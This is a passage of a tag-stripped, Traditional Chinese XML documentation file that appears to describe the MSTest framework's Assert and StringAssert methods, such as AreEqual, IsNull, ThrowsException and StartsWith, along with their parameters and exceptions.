true 的條件。 - - - Thrown if is false. - - - - - 測試指定的條件是否為 true,並在條件為 false 時擲回 - 例外狀況。 - - - 測試預期為 true 的條件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 為 false。訊息會顯示在測試結果中。 - - - Thrown if is false. - - - - - 測試指定的條件是否為 true,並在條件為 false 時擲回 - 例外狀況。 - - - 測試預期為 true 的條件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 為 false。訊息會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is false. - - - - - 測試指定的條件是否為 false,並在條件為 true 時擲回 - 例外狀況。 - - - 測試預期為 false 的條件。 - - - Thrown if is true. - - - - - 測試指定的條件是否為 false,並在條件為 true 時擲回 - 例外狀況。 - - - 測試預期為 false 的條件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 為 true。訊息會顯示在測試結果中。 - - - Thrown if is true. - - - - - 測試指定的條件是否為 false,並在條件為 true 時擲回 - 例外狀況。 - - - 測試預期為 false 的條件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 為 true。訊息會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is true. - - - - - 測試指定的物件是否為 null,並在不是時擲回 - 例外狀況。 - - - 測試預期為 null 的物件。 - - - Thrown if is not null. - - - - - 測試指定的物件是否為 null,並在不是時擲回 - 例外狀況。 - - - 測試預期為 null 的物件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不為 null。訊息會顯示在測試結果中。 - - - Thrown if is not null. - - - - - 測試指定的物件是否為 null,並在不是時擲回 - 例外狀況。 - - - 測試預期為 null 的物件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不為 null。訊息會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is not null. - - - - - 測試指定的物件是否為非 null,並在為 null 時擲回 - 例外狀況。 - - - 測試預期不為 null 的物件。 - - - Thrown if is null. - - - - - 測試指定的物件是否為非 null,並在為 null 時擲回 - 例外狀況。 - - - 測試預期不為 null 的物件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 為 null。訊息會顯示在測試結果中。 - - - Thrown if is null. - - - - - 測試指定的物件是否為非 null,並在為 null 時擲回 - 例外狀況。 - - - 測試預期不為 null 的物件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 為 null。訊息會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is null. - - - - - 測試指定的物件是否都參照相同物件,並在兩個輸入 - 未參照相同的物件時擲回例外狀況。 - - - 要比較的第一個物件。這是測試所預期的值。 - - - 要比較的第二個物件。這是正在測試的程式碼所產生的值。 - - - Thrown if does not refer to the same object - as . - - - - - 測試指定的物件是否都參照相同物件,並在兩個輸入 - 未參照相同的物件時擲回例外狀況。 - - - 要比較的第一個物件。這是測試所預期的值。 - - - 要比較的第二個物件。這是正在測試的程式碼所產生的值。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 與下者不同: 。訊息會顯示在 - 測試結果中。 - - - Thrown if does not refer to the same object - as . - - - - - 測試指定的物件是否都參照相同物件,並在兩個輸入 - 未參照相同的物件時擲回例外狀況。 - - - 要比較的第一個物件。這是測試所預期的值。 - - - 要比較的第二個物件。這是正在測試的程式碼所產生的值。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 與下者不同: 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if does not refer to the same object - as . - - - - - 測試指定的物件是否參照不同物件,並在兩個輸入 - 參照相同的物件時擲回例外狀況。 - - - 要比較的第一個物件。測試預期這個值 - 不符合 。 - - - 要比較的第二個物件。這是正在測試的程式碼所產生的值。 - - - Thrown if refers to the same object - as . - - - - - 測試指定的物件是否參照不同物件,並在兩個輸入 - 參照相同的物件時擲回例外狀況。 - - - 要比較的第一個物件。測試預期這個值 - 不符合 。 - - - 要比較的第二個物件。這是正在測試的程式碼所產生的值。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 與下者相同: 。訊息會顯示在 - 測試結果中。 - - - Thrown if refers to the same object - as . - - - - - 測試指定的物件是否參照不同物件,並在兩個輸入 - 參照相同的物件時擲回例外狀況。 - - - 要比較的第一個物件。測試預期這個值 - 不符合 。 - - - 要比較的第二個物件。這是正在測試的程式碼所產生的值。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 與下者相同: 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if refers to the same object - as . - - - - - 測試指定的值是否相等,並在兩個值不相等時 - 擲回例外狀況。不同的數值類型會視為不相等, - 即使邏輯值相等也是一樣。42L 不等於 42。 - - - The type of values to compare. - - - 要比較的第一個值。這是測試所預期的值。 - - - 要比較的第二個值。這是正在測試的程式碼所產生的值。 - - - Thrown if is not equal to . - - - - - 測試指定的值是否相等,並在兩個值不相等時 - 擲回例外狀況。不同的數值類型會視為不相等, - 即使邏輯值相等也是一樣。42L 不等於 42。 - - - The type of values to compare. - - - 要比較的第一個值。這是測試所預期的值。 - - - 要比較的第二個值。這是正在測試的程式碼所產生的值。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不等於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is not equal to - . - - - - - 測試指定的值是否相等,並在兩個值不相等時 - 擲回例外狀況。不同的數值類型會視為不相等, - 即使邏輯值相等也是一樣。42L 不等於 42。 - - - The type of values to compare. - - - 要比較的第一個值。這是測試所預期的值。 - - - 要比較的第二個值。這是正在測試的程式碼所產生的值。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不等於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is not equal to - . - - - - - 測試指定的值是否不相等,並在兩個值相等時 - 擲回例外狀況。不同的數值類型會視為不相等, - 即使邏輯值相等也是一樣。42L 不等於 42。 - - - The type of values to compare. - - - 要比較的第一個值。測試預期這個值 - 不符合 。 - - - 要比較的第二個值。這是正在測試的程式碼所產生的值。 - - - Thrown if is equal to . - - - - - 測試指定的值是否不相等,並在兩個值相等時 - 擲回例外狀況。不同的數值類型會視為不相等, - 即使邏輯值相等也是一樣。42L 不等於 42。 - - - The type of values to compare. - - - 要比較的第一個值。測試預期這個值 - 不符合 。 - - - 要比較的第二個值。這是正在測試的程式碼所產生的值。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is equal to . - - - - - 測試指定的值是否不相等,並在兩個值相等時 - 擲回例外狀況。不同的數值類型會視為不相等, - 即使邏輯值相等也是一樣。42L 不等於 42。 - - - The type of values to compare. - - - 要比較的第一個值。測試預期這個值 - 不符合 。 - - - 要比較的第二個值。這是正在測試的程式碼所產生的值。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is equal to . - - - - - 測試指定的物件是否相等,並在兩個物件不相等時 - 擲回例外狀況。不同的數值類型會視為不相等, - 即使邏輯值相等也是一樣。42L 不等於 42。 - - - 要比較的第一個物件。這是測試所預期的物件。 - - - 要比較的第二個物件。這是正在測試的程式碼所產生的物件。 - - - Thrown if is not equal to - . - - - - - 測試指定的物件是否相等,並在兩個物件不相等時 - 擲回例外狀況。不同的數值類型會視為不相等, - 即使邏輯值相等也是一樣。42L 不等於 42。 - - - 要比較的第一個物件。這是測試所預期的物件。 - - - 要比較的第二個物件。這是正在測試的程式碼所產生的物件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不等於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is not equal to - . - - - - - 測試指定的物件是否相等,並在兩個物件不相等時 - 擲回例外狀況。不同的數值類型會視為不相等, - 即使邏輯值相等也是一樣。42L 不等於 42。 - - - 要比較的第一個物件。這是測試所預期的物件。 - - - 要比較的第二個物件。這是正在測試的程式碼所產生的物件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不等於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is not equal to - . - - - - - 測試指定的物件是否不相等,並在兩個物件相等時 - 擲回例外狀況。不同的數值類型會視為不相等, - 即使邏輯值相等也是一樣。42L 不等於 42。 - - - 要比較的第一個物件。測試預期這個值 - 不符合 。 - - - 要比較的第二個物件。這是正在測試的程式碼所產生的物件。 - - - Thrown if is equal to . - - - - - 測試指定的物件是否不相等,並在兩個物件相等時 - 擲回例外狀況。不同的數值類型會視為不相等, - 即使邏輯值相等也是一樣。42L 不等於 42。 - - - 要比較的第一個物件。測試預期這個值 - 不符合 。 - - - 要比較的第二個物件。這是正在測試的程式碼所產生的物件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is equal to . - - - - - 測試指定的物件是否不相等,並在兩個物件相等時 - 擲回例外狀況。不同的數值類型會視為不相等, - 即使邏輯值相等也是一樣。42L 不等於 42。 - - - 要比較的第一個物件。測試預期這個值 - 不符合 。 - - - 要比較的第二個物件。這是正在測試的程式碼所產生的物件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is equal to . - - - - - 測試指定的 float 是否相等,並在不相等時 - 擲回例外狀況。 - - - 要比較的第一個 float。這是測試所預期的 float。 - - - 要比較的第二個 float。這是正在測試的程式碼所產生的 float。 - - - 所需的精確度。只有在下列情況才會擲回例外狀況: - 不同於 - 超過 。 - - - Thrown if is not equal to - . - - - - - 測試指定的 float 是否相等,並在不相等時 - 擲回例外狀況。 - - - 要比較的第一個 float。這是測試所預期的 float。 - - - 要比較的第二個 float。這是正在測試的程式碼所產生的 float。 - - - 所需的精確度。只有在下列情況才會擲回例外狀況: - 不同於 - 超過 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不同於 超過 - 。訊息會顯示在測試結果中。 - - - Thrown if is not equal to - . - - - - - 測試指定的 float 是否相等,並在不相等時 - 擲回例外狀況。 - - - 要比較的第一個 float。這是測試所預期的 float。 - - - 要比較的第二個 float。這是正在測試的程式碼所產生的 float。 - - - 所需的精確度。只有在下列情況才會擲回例外狀況: - 不同於 - 超過 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不同於 超過 - 。訊息會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is not equal to - . - - - - - 測試指定的 float 是否不相等,並在相等時 - 擲回例外狀況。 - - - 要比較的第一個 float。測試預期這個 float 不 - 符合 。 - - - 要比較的第二個 float。這是正在測試的程式碼所產生的 float。 - - - 所需的精確度。只有在下列情況才會擲回例外狀況: - 不同於 - 最多 。 - - - Thrown if is equal to . - - - - - 測試指定的 float 是否不相等,並在相等時 - 擲回例外狀況。 - - - 要比較的第一個 float。測試預期這個 float 不 - 符合 。 - - - 要比較的第二個 float。這是正在測試的程式碼所產生的 float。 - - - 所需的精確度。只有在下列情況才會擲回例外狀況: - 不同於 - 最多 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 或差異小於 - 。訊息會顯示在測試結果中。 - - - Thrown if is equal to . - - - - - 測試指定的 float 是否不相等,並在相等時 - 擲回例外狀況。 - - - 要比較的第一個 float。測試預期這個 float 不 - 符合 。 - - - 要比較的第二個 float。這是正在測試的程式碼所產生的 float。 - - - 所需的精確度。只有在下列情況才會擲回例外狀況: - 不同於 - 最多 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 或差異小於 - 。訊息會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is equal to . - - - - - 測試指定的雙精度浮點數是否相等,並在不相等時 - 擲回例外狀況。 - - - 要比較的第一個雙精度浮點數。這是測試所預期的雙精度浮點數。 - - - 要比較的第二個雙精度浮點數。這是正在測試的程式碼所產生的雙精度浮點數。 - - - 所需的精確度。只有在下列情況才會擲回例外狀況: - 不同於 - 超過 。 - - - Thrown if is not equal to - . - - - - - 測試指定的雙精度浮點數是否相等,並在不相等時 - 擲回例外狀況。 - - - 要比較的第一個雙精度浮點數。這是測試所預期的雙精度浮點數。 - - - 要比較的第二個雙精度浮點數。這是正在測試的程式碼所產生的雙精度浮點數。 - - - 所需的精確度。只有在下列情況才會擲回例外狀況: - 不同於 - 超過 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不同於 超過 - 。訊息會顯示在測試結果中。 - - - Thrown if is not equal to . - - - - - 測試指定的雙精度浮點數是否相等,並在不相等時 - 擲回例外狀況。 - - - 要比較的第一個雙精度浮點數。這是測試所預期的雙精度浮點數。 - - - 要比較的第二個雙精度浮點數。這是正在測試的程式碼所產生的雙精度浮點數。 - - - 所需的精確度。只有在下列情況才會擲回例外狀況: - 不同於 - 超過 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不同於 超過 - 。訊息會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is not equal to . - - - - - 測試指定的雙精度浮點數是否不相等,並在相等時 - 擲回例外狀況。 - - - 要比較的第一個雙精度浮點數。測試預期這個雙精度浮點數 - 不符合 。 - - - 要比較的第二個雙精度浮點數。這是正在測試的程式碼所產生的雙精度浮點數。 - - - 所需的精確度。只有在下列情況才會擲回例外狀況: - 不同於 - 最多 。 - - - Thrown if is equal to . - - - - - 測試指定的雙精度浮點數是否不相等,並在相等時 - 擲回例外狀況。 - - - 要比較的第一個雙精度浮點數。測試預期這個雙精度浮點數 - 不符合 。 - - - 要比較的第二個雙精度浮點數。這是正在測試的程式碼所產生的雙精度浮點數。 - - - 所需的精確度。只有在下列情況才會擲回例外狀況: - 不同於 - 最多 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 或差異小於 - 。訊息會顯示在測試結果中。 - - - Thrown if is equal to . - - - - - 測試指定的雙精度浮點數是否不相等,並在相等時 - 擲回例外狀況。 - - - 要比較的第一個雙精度浮點數。測試預期這個雙精度浮點數 - 不符合 。 - - - 要比較的第二個雙精度浮點數。這是正在測試的程式碼所產生的雙精度浮點數。 - - - 所需的精確度。只有在下列情況才會擲回例外狀況: - 不同於 - 最多 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 或差異小於 - 。訊息會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is equal to . - - - - - 測試指定的字串是否相等,並在不相等時 - 擲回例外狀況。進行比較時不因文化特性 (Culture) 而異。 - - - 要比較的第一個字串。這是測試所預期的字串。 - - - 要比較的第二個字串。這是正在測試的程式碼所產生的字串。 - - - 表示區分大小寫或不區分大小寫的比較的布林值 (true - 表示不區分大小寫的比較)。 - - - Thrown if is not equal to . - - - - - 測試指定的字串是否相等,並在不相等時 - 擲回例外狀況。進行比較時不因文化特性 (Culture) 而異。 - - - 要比較的第一個字串。這是測試所預期的字串。 - - - 要比較的第二個字串。這是正在測試的程式碼所產生的字串。 - - - 表示區分大小寫或不區分大小寫的比較的布林值 (true - 表示不區分大小寫的比較)。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不等於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is not equal to . - - - - - 測試指定的字串是否相等,並在不相等時 - 擲回例外狀況。進行比較時不因文化特性 (Culture) 而異。 - - - 要比較的第一個字串。這是測試所預期的字串。 - - - 要比較的第二個字串。這是正在測試的程式碼所產生的字串。 - - - 表示區分大小寫或不區分大小寫的比較的布林值 (true - 表示不區分大小寫的比較)。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不等於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is not equal to . - - - - - 測試指定的字串是否相等,並在不相等時 - 擲回例外狀況。 - - - 要比較的第一個字串。這是測試所預期的字串。 - - - 要比較的第二個字串。這是正在測試的程式碼所產生的字串。 - - - 表示區分大小寫或不區分大小寫的比較的布林值 (true - 表示不區分大小寫的比較)。 - - - 提供文化特性 (culture) 特定比較資訊的 CultureInfo 物件。 - - - Thrown if is not equal to . - - - - - 測試指定的字串是否相等,並在不相等時 - 擲回例外狀況。 - - - 要比較的第一個字串。這是測試所預期的字串。 - - - 要比較的第二個字串。這是正在測試的程式碼所產生的字串。 - - - 表示區分大小寫或不區分大小寫的比較的布林值 (true - 表示不區分大小寫的比較)。 - - - 提供文化特性 (culture) 特定比較資訊的 CultureInfo 物件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不等於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is not equal to . - - - - - 測試指定的字串是否相等,並在不相等時 - 擲回例外狀況。 - - - 要比較的第一個字串。這是測試所預期的字串。 - - - 要比較的第二個字串。這是正在測試的程式碼所產生的字串。 - - - 表示區分大小寫或不區分大小寫的比較的布林值 (true - 表示不區分大小寫的比較)。 - - - 提供文化特性 (culture) 特定比較資訊的 CultureInfo 物件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不等於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is not equal to . - - - - - 測試指定的字串是否不相等,並在相等時 - 擲回例外狀況。進行比較時不因文化特性 (Culture) 而異。 - - - 要比較的第一個字串。測試預期這個字串 - 不符合 。 - - - 要比較的第二個字串。這是正在測試的程式碼所產生的字串。 - - - 表示區分大小寫或不區分大小寫的比較的布林值 (true - 表示不區分大小寫的比較)。 - - - Thrown if is equal to . - - - - - 測試指定的字串是否不相等,並在相等時 - 擲回例外狀況。進行比較時不因文化特性 (Culture) 而異。 - - - 要比較的第一個字串。測試預期這個字串 - 不符合 。 - - - 要比較的第二個字串。這是正在測試的程式碼所產生的字串。 - - - 表示區分大小寫或不區分大小寫的比較的布林值 (true - 表示不區分大小寫的比較)。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is equal to . - - - - - 測試指定的字串是否不相等,並在相等時 - 擲回例外狀況。進行比較時不因文化特性 (Culture) 而異。 - - - 要比較的第一個字串。測試預期這個字串 - 不符合 。 - - - 要比較的第二個字串。這是正在測試的程式碼所產生的字串。 - - - 表示區分大小寫或不區分大小寫的比較的布林值 (true - 表示不區分大小寫的比較)。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is equal to . - - - - - 測試指定的字串是否不相等,並在相等時 - 擲回例外狀況。 - - - 要比較的第一個字串。測試預期這個字串 - 不符合 。 - - - 要比較的第二個字串。這是正在測試的程式碼所產生的字串。 - - - 表示區分大小寫或不區分大小寫的比較的布林值 (true - 表示不區分大小寫的比較)。 - - - 提供文化特性 (culture) 特定比較資訊的 CultureInfo 物件。 - - - Thrown if is equal to . - - - - - 測試指定的字串是否不相等,並在相等時 - 擲回例外狀況。 - - - 要比較的第一個字串。測試預期這個字串 - 不符合 。 - - - 要比較的第二個字串。這是正在測試的程式碼所產生的字串。 - - - 表示區分大小寫或不區分大小寫的比較的布林值 (true - 表示不區分大小寫的比較)。 - - - 提供文化特性 (culture) 特定比較資訊的 CultureInfo 物件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is equal to . - - - - - 測試指定的字串是否不相等,並在相等時 - 擲回例外狀況。 - - - 要比較的第一個字串。測試預期這個字串 - 不符合 。 - - - 要比較的第二個字串。這是正在測試的程式碼所產生的字串。 - - - 表示區分大小寫或不區分大小寫的比較的布林值 (true - 表示不區分大小寫的比較)。 - - - 提供文化特性 (culture) 特定比較資訊的 CultureInfo 物件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is equal to . - - - - - 測試指定的物件是否為預期類型的執行個體, - 並在預期類型不在物件的繼承階層中時 - 擲回例外狀況。 - - - 測試預期為所指定類型的物件。 - - - 下者的預期類型: 。 - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - 測試指定的物件是否為預期類型的執行個體, - 並在預期類型不在物件的繼承階層中時 - 擲回例外狀況。 - - - 測試預期為所指定類型的物件。 - - - 下者的預期類型: 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不是下者的執行個體: 。訊息會顯示在 - 測試結果中。 - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - 測試指定的物件是否為預期類型的執行個體, - 並在預期類型不在物件的繼承階層中時 - 擲回例外狀況。 - - - 測試預期為所指定類型的物件。 - - - 下者的預期類型: 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不是下者的執行個體: 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - 測試指定的物件是否不是錯誤類型的執行個體, - 並在指定的類型位於物件的繼承階層中時 - 擲回例外狀況。 - - - 測試預期不為所指定類型的物件。 - - - 下者不應該屬於的類型: 。 - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - 測試指定的物件是否不是錯誤類型的執行個體, - 並在指定的類型位於物件的繼承階層中時 - 擲回例外狀況。 - - - 測試預期不為所指定類型的物件。 - - - 下者不應該屬於的類型: 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 是下者的執行個體: 。訊息會顯示在 - 測試結果中。 - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - 測試指定的物件是否不是錯誤類型的執行個體, - 並在指定的類型位於物件的繼承階層中時 - 擲回例外狀況。 - - - 測試預期不為所指定類型的物件。 - - - 下者不應該屬於的類型: 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 是下者的執行個體: 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - 擲回 AssertFailedException。 - - - Always thrown. - - - - - 擲回 AssertFailedException。 - - - 要包含在例外狀況中的訊息。訊息會顯示在 - 測試結果中。 - - - Always thrown. - - - - - 擲回 AssertFailedException。 - - - 要包含在例外狀況中的訊息。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Always thrown. - - - - - 擲回 AssertInconclusiveException。 - - - Always thrown. - - - - - 擲回 AssertInconclusiveException。 - - - 要包含在例外狀況中的訊息。訊息會顯示在 - 測試結果中。 - - - Always thrown. - - - - - 擲回 AssertInconclusiveException。 - - - 要包含在例外狀況中的訊息。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Always thrown. - - - - - 「靜態等於多載」用於比較兩種類型的執行個體的參考 - 相等。這種方法不應該用於比較兩個執行個體是否 - 相等。這個物件一律會擲出 Assert.Fail。請在單元測試中使用 - Assert.AreEqual 和相關聯多載。 - - 物件 A - 物件 B - 一律為 False。 - - - - 測試委派 所指定的程式碼會擲回 類型的確切指定例外狀況 (而非衍生類型) - 並擲回 - - AssertFailedException - - (若程式碼未擲回例外狀況或擲回非 類型的例外狀況)。 - - - 要測試程式碼並預期擲回例外狀況的委派。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 預期擲回的例外狀況類型。 - - - - - 測試委派 所指定的程式碼會擲回 類型的確切指定例外狀況 (而非衍生類型) - 並擲回 - - AssertFailedException - - (若程式碼未擲回例外狀況或擲回非 類型的例外狀況)。 - - - 要測試程式碼並預期擲回例外狀況的委派。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 未擲回下列類型的例外狀況: 。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 預期擲回的例外狀況類型。 - - - - - 測試委派 所指定的程式碼會擲回 類型的確切指定例外狀況 (而非衍生類型) - 並擲回 - - AssertFailedException - - (若程式碼未擲回例外狀況或擲回非 類型的例外狀況)。 - - - 要測試程式碼並預期擲回例外狀況的委派。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 預期擲回的例外狀況類型。 - - - - - 測試委派 所指定的程式碼會擲回 類型的確切指定例外狀況 (而非衍生類型) - 並擲回 - - AssertFailedException - - (若程式碼未擲回例外狀況或擲回非 類型的例外狀況)。 - - - 要測試程式碼並預期擲回例外狀況的委派。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 未擲回下列類型的例外狀況: 。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 預期擲回的例外狀況類型。 - - - - - 測試委派 所指定的程式碼會擲回 類型的確切指定例外狀況 (而非衍生類型) - 並擲回 - - AssertFailedException - - (若程式碼未擲回例外狀況或擲回非 類型的例外狀況)。 - - - 要測試程式碼並預期擲回例外狀況的委派。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 未擲回下列類型的例外狀況: 。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - 預期擲回的例外狀況類型。 - - - - - 測試委派 所指定的程式碼會擲回 類型的確切指定例外狀況 (而非衍生類型) - 並擲回 - - AssertFailedException - - (若程式碼未擲回例外狀況或擲回非 類型的例外狀況)。 - - - 要測試程式碼並預期擲回例外狀況的委派。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 未擲回下列類型的例外狀況: 。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 預期擲回的例外狀況類型。 - - - - - 測試委派 所指定的程式碼會擲回 類型的確切指定例外狀況 (而非衍生類型) - 並擲回 - - AssertFailedException - - (若程式碼未擲回例外狀況或擲回非 類型的例外狀況)。 - - - 要測試程式碼並預期擲回例外狀況的委派。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 執行委派。 - - - - - 測試委派 所指定的程式碼是否會擲回 類型的確切指定例外狀況 (而非衍生類型) - 並於程式碼未擲回例外狀況或擲回非 類型的例外狀況時,擲回 AssertFailedException。 - - 委派給要進行測試且預期會擲回例外狀況的程式碼。 - - 在下列情況下,要包含在例外狀況中的訊息: - 未擲回下列類型的例外狀況: 。 - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - 執行委派。 - - - - - 測試委派 所指定的程式碼是否會擲回 類型的確切指定例外狀況 (而非衍生類型) - 並於程式碼未擲回例外狀況或擲回非 類型的例外狀況時,擲回 AssertFailedException。 - - 委派給要進行測試且預期會擲回例外狀況的程式碼。 - - 在下列情況下,要包含在例外狀況中的訊息: - 未擲回下列類型的例外狀況: 。 - - - 在將下者格式化時要使用的參數陣列: 。 - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - 執行委派。 - - - - - 以 "\\0" 取代 null 字元 ('\0')。 - - - 要搜尋的字串。 - - - null 字元以 "\\0" 取代的已轉換字串。 - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - 建立並擲回 AssertionFailedException 的 Helper 函數 - - - 擲回例外狀況的判斷提示名稱 - - - 描述判斷提示失敗條件的訊息 - - - 參數。 - - - - - 檢查參數的有效條件 - - - 參數。 - - - 判斷提示「名稱」。 - - - 參數名稱 - - - 無效參數例外狀況的訊息 - - - 參數。 - - - - - 將物件安全地轉換成字串,並處理 null 值和 null 字元。 - Null 值會轉換成 "(null)"。Null 字元會轉換成 "\\0"。 - - - 要轉換為字串的物件。 - - - 已轉換的字串。 - - - - - 字串判斷提示。 - - - - - 取得 CollectionAssert 功能的單一執行個體。 - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - 測試指定的字串是否包含指定的子字串, - 並在子字串未出現在測試字串內時 - 擲回例外狀況。 - - - 預期包含下者的字串: 。 - - - 預期在下列時間內發生的字串: 。 - - - Thrown if is not found in - . - - - - - 測試指定的字串是否包含指定的子字串, - 並在子字串未出現在測試字串內時 - 擲回例外狀況。 - - - 預期包含下者的字串: 。 - - - 預期在下列時間內發生的字串: 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 未位於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is not found in - . - - - - - 測試指定的字串是否包含指定的子字串, - 並在子字串未出現在測試字串內時 - 擲回例外狀況。 - - - 預期包含下者的字串: 。 - - - 預期在下列時間內發生的字串: 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 未位於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is not found in - . - - - - - 測試指定的字串開頭是否為指定的子字串, - 並在測試字串的開頭不是子字串時 - 擲回例外狀況。 - - - 字串預期開頭為 。 - - - 字串預期為下者的前置詞: 。 - - - Thrown if does not begin with - . - - - - - 測試指定的字串開頭是否為指定的子字串, - 並在測試字串的開頭不是子字串時 - 擲回例外狀況。 - - - 字串預期開頭為 。 - - - 字串預期為下者的前置詞: 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 的開頭不是 。訊息會顯示在 - 測試結果中。 - - - Thrown if does not begin with - . - - - - - 測試指定的字串開頭是否為指定的子字串, - 並在測試字串的開頭不是子字串時 - 擲回例外狀況。 - - - 字串預期開頭為 。 - - - 字串預期為下者的前置詞: 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 的開頭不是 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if does not begin with - . - - - - - 測試指定的字串結尾是否為指定的子字串, - 並在測試字串的結尾不是子字串時 - 擲回例外狀況。 - - - 字串預期結尾為 。 - - - 